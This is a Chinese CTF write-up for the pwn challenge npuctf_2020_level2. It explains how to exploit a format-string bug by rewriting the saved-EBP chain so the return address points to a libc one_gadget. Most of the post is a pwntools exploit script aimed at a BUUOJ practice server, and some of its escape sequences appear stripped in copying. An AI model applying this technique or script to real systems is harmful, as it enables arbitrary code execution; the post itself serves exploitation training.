寒假训练 npuctf_2020_level2(8/250)修改ebp链来间接修改返回地址

流程分析

很容易可以看出是格式化字符串漏洞,不过利用方法是先简介修改ebp链,在通过ebp链直接修改返回地址,第一次遇见这种方法 记录一下

 思路

  1. 由于我们的输入在bss段上,并不会影响到stack上,经过观察后,可以发现栈上有__libc_main可以泄露libc,还有一个ebp链,通过ebp链我们可以来修改返回地址
  2. 首先用格式化字符串漏洞泄露stack的地址,并把ebp链指向stack里的返回地址,再然后,此时的ebp链情况为ebp->old ebp->返回地址,此时我们再通过格式化字符串漏洞对old ebp里的值进行修改,便可以修改返回地址了
  3. 不过不知道为啥,明明字符串都一样,但我用send和sendline都打不通,到后面看了binLep师傅的博客后换成sendlineafter后才打通的

exp

from pwn import *
#9  35
#p=process('./npuctf_2020_level2')
p=remote('node3.buuoj.cn',26286)
libc=ELF('../libc-2.27.so')
context.log_level='debug'
payload1='%7$p#%9$p@'
p.sendline(payload1)

p.recvuntil('0x')
libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['__libc_start_main']
p.recvuntil('0x')
addr_stack=int(p.recvuntil("@",True),16)-0xe0
one_gadgets = [0x4f2c5,0x4f322,0x10a38c]


one_gadget=one_gadgets[1]+libc_base
stackbase = addr_stack & 0xffff
p.sendlineafter('
', '%' + str(stackbase) + 'c%9$hnx00')
p.sendlineafter('x20x20xb4', '%'+str(one_gadget&0xff)+'c%35$hhnx00')
p.sendlineafter('x20x20xb4', '%'+str(stackbase+1)+'c%9$hhnx00')
p.sendlineafter('x20x20xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhnx00')
p.sendlineafter('x20x20xb4', '%'+str(stackbase+2)+'c%9$hhnx00')
p.sendlineafter('x20x20xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhnx00')
#p.recv('x20x20xb4')
p.sendline('66666666x00')
#p.recv()
print(hex(libc.symbols['__libc_start_main']))
#gdb.attach(p)
p.interactive()
原文地址:https://www.cnblogs.com/pppyyyzzz/p/14299804.html